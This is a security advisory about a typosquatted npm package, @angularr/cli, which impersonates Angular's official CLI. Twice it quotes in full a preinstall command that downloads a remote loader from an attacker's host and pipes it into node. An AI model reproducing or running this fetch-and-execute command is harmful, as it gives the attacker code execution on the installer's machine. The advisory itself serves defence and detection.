Malicious code in @angularr/cli (npm)
@angularr/cli@22.2.1 impersonates @angular/cli (it copies the code and metadata of @angular/cli, including the `ng` binary) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @angularr/cli and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (122d8c8fdbfe9bd590dd3e1c41a6afcefff4f1c552af5f1756577975c84878a8) Package is published as @angularr/cli (double 'r') and copies @angular/cli's description, keywords, homepage, repository URL, README, and version string (22.2.1) to impersonate Angular's official CLI. package.json declares a preinstall lifecycle hook that pipes a remote JavaScript file into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. The fetched script is hosted on gitflic.ru (user 'hellscripter', unrelated to Angular's publisher), proxied through web.archive.org, is unpinned, has no integrity check, and is executed directly by the installer's node process. Any `npm install @angularr/cli` performs arbitrary code execution on the installer's host under the account running
MAL-2026-17492
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:MAL-2026-17492
@angularr/cli
Source reference: /affected/0/package/name
- Affected versions
- 22.2.1
Source reference:
/affected/0/versions - Fixed versions
- Not stated in this record
- Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"package": {
"name": "@angularr/cli",
"purl": "pkg:npm/%40angularr/cli",
"ecosystem": "npm"
},
"versions": [
"22.2.1"
],
"database_specific": {
"cwes": [
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
}
],
"source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@angularr/cli/MAL-2026-17492.json",
"indicators": {
"evidence_files": [
{
"path": "package.json",
"tlsh": "0f313576dae01d6316d9128598360903b43c962f0e06fa78f799540c4f8f69f2277aae",
"sha256": "eb95ee065027d871536fb430be906c3856e640190f36dab01b93d64a1af758e5"
}
],
"package_integrity": [
{
"hashes": {
"sha1": "94202cdd816372a4adc8fcc2ddd9927dcff0419e",
"sha512_sri": "sha512-aJaBpCe9lyh6F8tsoVtJoKH6/D18aL6tGzQ/OMROYu6NTtcDA+u/WNxoFVyONE3Tt3uXjf9cTcG/l+iGvLx9Ig=="
},
"filename": "cli-22.2.1.tgz"
}
]
}
}
}
]Publisher severity
No explicit severity was provided.
- Event
- #85884 · Revision 1
- Added to Heist Feed
- Publisher date